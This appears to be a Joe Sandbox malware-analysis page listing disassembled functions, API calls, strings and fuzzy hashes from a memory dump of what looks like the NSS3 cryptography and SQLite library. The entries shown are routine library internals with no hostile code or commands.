Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 4a946a6b8768c22d6af3a4398c2cbc8e2fd906c8d5befc3a610c4b0f511f1747
Instruction ID: 6840e8a991e804b7df9ecaa72ce914f7539120638216a140e9bf0ec89f0f0531
Opcode Fuzzy Hash: 4a946a6b8768c22d6af3a4398c2cbc8e2fd906c8d5befc3a610c4b0f511f1747
Instruction Fuzzy Hash: E021D6B5D006049FDB10AFA4EC41BEEB7B4EF09318F64402DE919AB701E732A955CB91

Function 6CE68CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE7124D,00000001), ref: 6CE68D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE7124D,00000001), ref: 6CE68D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68D73
PR_Unlock.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68D8C

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68DBA

Strings

KRAM, xrefs: 6CE68D3E
KRAM, xrefs: 6CE68CF9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 9d3f215a665f8284ba67d7e7917f4f3735cc8456d48235d6bd9c4bc1215fd4f7
Instruction ID: 2d0d81d3bac350a7cc75cc2e7a49c03c8c7d1584e7752dd564b5de6317033787
Opcode Fuzzy Hash: 9d3f215a665f8284ba67d7e7917f4f3735cc8456d48235d6bd9c4bc1215fd4f7
Instruction Fuzzy Hash: 4521B2B5A54601CFCB50EF7AC48465EBBF4FF46318F25896AD89887B01E731D842CBA1

Function 6CE8ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CE8ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE8AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AD23

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE8AD39

Strings

C_MessageDecryptFinal, xrefs: 6CE8ACE1
(CK_INVALID_HANDLE), xrefs: 6CE8AD1C
hSession = 0x%x, xrefs: 6CE8ACFE, 6CE8AD0E

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 578de1f473c99cf51b3625536e926404ab4ef62aea259388a979e1973e171eb7
Instruction ID: 8f197909bf85db26e9c635c66f2462a9c911cead111c520edcd6d9bb3e41b4ed
Opcode Fuzzy Hash: 578de1f473c99cf51b3625536e926404ab4ef62aea259388a979e1973e171eb7
Instruction Fuzzy Hash: C0212970B421049FDB409F64DDC8B6A3775AB4230DF254829E80DDBBD1DB319C09C796

Function 6CF60ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF60EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF60EFA

Part of subcall function 6CE4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF60ED9, 6CF60EE5, 6CF60F06, 6CF60F0B
Aborting, xrefs: 6CF60EB3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 9abe3fd36280a1e924317e13bcaa798cfc799f325546c9a479d31947c6fad4fb
Instruction ID: 0c8c55d5f4f088bd584a07a8ac29d0688631d1b134a534cf3f76d06a28b9782c
Opcode Fuzzy Hash: 9abe3fd36280a1e924317e13bcaa798cfc799f325546c9a479d31947c6fad4fb
Instruction Fuzzy Hash: C201C0B5910114ABDF01AFA5EC45DAB3F3DEF46364B104025FD1997B01D672E95087A2

Function 6CF41C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE44E1D), ref: 6CF41C8A
sqlite3_free.NSS3(00000000), ref: 6CF41CB6

Strings

an index, xrefs: 6CF41C67
non-deterministic use of %s() in %s, xrefs: 6CF41C85
a CHECK constraint, xrefs: 6CF41C76, 6CF41C81
w=l, xrefs: 6CF41C44
a generated column, xrefs: 6CF41C6C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: abab617a7cd1cdd3cd9e911dbf3d74ec94508a16e92e634277b20f3d635fcc57
Instruction ID: e94e3524a8d43c628318cbd41ed7af75683a4e5779d193cbf579cfaf8b2cb88c
Opcode Fuzzy Hash: abab617a7cd1cdd3cd9e911dbf3d74ec94508a16e92e634277b20f3d635fcc57
Instruction Fuzzy Hash: 550147B1B001405BD700BB68D802AB277F5EFC234CB15487DED488BB13EB22E866C791

Function 6CF24D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF24DE0

Strings

invalid, xrefs: 6CF24DB8
%s at line %d of [%.10s], xrefs: 6CF24DDA
misuse, xrefs: 6CF24DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF24DCB
API call with %s database connection pointer, xrefs: 6CF24DBD

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: ceae30e3d55ef7d4c7f6e99951a53797b3361e74d1c2ab705b2cc90a9e046a9b
Instruction ID: 4dc32bef1f36e5f112a6f4cbdea721eefcaf6a21fa73bd9b48436f6d002e9912
Opcode Fuzzy Hash: ceae30e3d55ef7d4c7f6e99951a53797b3361e74d1c2ab705b2cc90a9e046a9b
Instruction Fuzzy Hash: 69F0E921F156742BD7005195CC10FC63BA54F02329FD609E1ED04AFE92D24FAD5083E1

Function 6CF24DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF24E4D

Strings

invalid, xrefs: 6CF24E25
%s at line %d of [%.10s], xrefs: 6CF24E47
misuse, xrefs: 6CF24E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF24E38
API call with %s database connection pointer, xrefs: 6CF24E2A

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 066283177b0f070976d3184e8464d9f7a6c26a88131c4f0851dcf86f6f3b40f9
Instruction ID: e2b9ff5fed44da21dff4b90de7ec463bd0d2d4c86702a51ad129ac9fb0709570
Opcode Fuzzy Hash: 066283177b0f070976d3184e8464d9f7a6c26a88131c4f0851dcf86f6f3b40f9
Instruction Fuzzy Hash: 67F0A711F46D282BFB1052AA9C10FD73BA58B02329F5945A1EA0C6BE92D74E9D704AD1

Function 6CE59FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE5A086
EnterCriticalSection.KERNEL32(?), ref: 6CE5A09B
PR_Unlock.NSS3(?), ref: 6CE5A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5A0E9
TlsGetValue.KERNEL32 ref: 6CE5A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE5A12F
PR_Unlock.NSS3(?), ref: 6CE5A148

Part of subcall function 6CE71A40: PR_Now.NSS3(?,00000000,6CE528AD,00000000,?,6CE6F09A,00000000,6CE528AD,6CE593B0,?,6CE593B0,6CE528AD,00000000,?,00000000), ref: 6CE71A65

Part of subcall function 6CE71940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE74126,?), ref: 6CE71966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5A1A3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: f7c26eef024d3cddb350ec1328dbfa100d756168eee980cc166da257720c2920
Instruction ID: 08549017055b03e15209a1b7c783e008c2c492f7578a0d6df51f08560a253a07
Opcode Fuzzy Hash: f7c26eef024d3cddb350ec1328dbfa100d756168eee980cc166da257720c2920
Instruction Fuzzy Hash: 40510AB2E402009BEB109F79DD44ABB77B8AF4634CB65442DDC1997B01EB32D856C6B1

Function 6CE90C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?,?,00000000,?,?), ref: 6CE90CB3

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?), ref: 6CE90DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?), ref: 6CE90DEC

Part of subcall function 6CEB0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE52AF5,?,?,?,?,?,6CE50A1B,00000000), ref: 6CEB0F1A
Part of subcall function 6CEB0F10: malloc.MOZGLUE(00000001), ref: 6CEB0F30
Part of subcall function 6CEB0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEB0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000), ref: 6CE90E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?,?,00000000), ref: 6CE90E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90E79

Part of subcall function 6CEA1560: TlsGetValue.KERNEL32(00000000,?,6CE70844,?), ref: 6CEA157A
Part of subcall function 6CEA1560: EnterCriticalSection.KERNEL32(?,?,?,6CE70844,?), ref: 6CEA158F
Part of subcall function 6CEA1560: PR_Unlock.NSS3(?,?,?,?,6CE70844,?), ref: 6CEA15B2

Part of subcall function 6CE6B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE71397,00000000,?,6CE6CF93,5B5F5EC0,00000000,?,6CE71397,?), ref: 6CE6B1CB
Part of subcall function 6CE6B1A0: free.MOZGLUE(5B5F5EC0,?,6CE6CF93,5B5F5EC0,00000000,?,6CE71397,?), ref: 6CE6B1D2

Part of subcall function 6CE689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE688AE,-00000008), ref: 6CE68A04
Part of subcall function 6CE689E0: EnterCriticalSection.KERNEL32(?), ref: 6CE68A15
Part of subcall function 6CE689E0: memset.VCRUNTIME140(6CE688AE,00000000,00000132), ref: 6CE68A27
Part of subcall function 6CE689E0: PR_Unlock.NSS3(?), ref: 6CE68A35

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: db24c4d14d4df5aa947cd44bf66934e98c22a7198ad7afe01b5fab6b1a33c0ed
Instruction ID: fa54f02e5d2a86d040ccfd5539514cd54d37216878cfb8ebe88233c7cb784b2b
Opcode Fuzzy Hash: db24c4d14d4df5aa947cd44bf66934e98c22a7198ad7afe01b5fab6b1a33c0ed
Instruction Fuzzy Hash: DA5198B6E002019FEB109F64DC85AAB37B8DF4925CF650468EC1997B12FB31ED15C7A2

Function 6CE46E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE46ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE46EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE46FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE46FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE46FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE47010
sqlite3_value_blob.NSS3(?,?), ref: 6CE4701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE47052

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 89c5170e818e92f6f727752babeaab5437377588b33c00addce051e4a62536c0
Instruction ID: 75fee85f2117d0d921ed3f6ff7c73d787d615bda01d172250ded09f6e65b212f
Opcode Fuzzy Hash: 89c5170e818e92f6f727752babeaab5437377588b33c00addce051e4a62536c0
Instruction Fuzzy Hash: 9F61D5B1E152468FDB00CFA5E8017EEB7B6BF85308F388169D455ABB51E7359C06CB90

Function 6CEB8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CEB7313), ref: 6CEB8FBB

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB90F1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB906B

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CEB7313), ref: 6CEB9128

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5cc81574cb93c27a0ea14447d1de11ef75f6a625412b6c32d64b84f5fe5818de
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: BC518371A002029FEB109F6ADE84B36B3F9AF5531CF364129D919E7B61E731E805CB91

Function 6CE69C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE68850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE70715), ref: 6CE68859
Part of subcall function 6CE68850: PR_NewLock.NSS3 ref: 6CE68874
Part of subcall function 6CE68850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE6888D

PR_NewLock.NSS3 ref: 6CE69CAD

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

TlsGetValue.KERNEL32 ref: 6CE69CE8
EnterCriticalSection.KERNEL32(?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D01
TlsGetValue.KERNEL32(?,?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D38
EnterCriticalSection.KERNEL32(?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D4D
PR_Unlock.NSS3 ref: 6CE69D70
PR_Unlock.NSS3 ref: 6CE69DC3
PR_NewLock.NSS3 ref: 6CE69DDD

Part of subcall function 6CE688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE70725,00000000,00000058), ref: 6CE68906
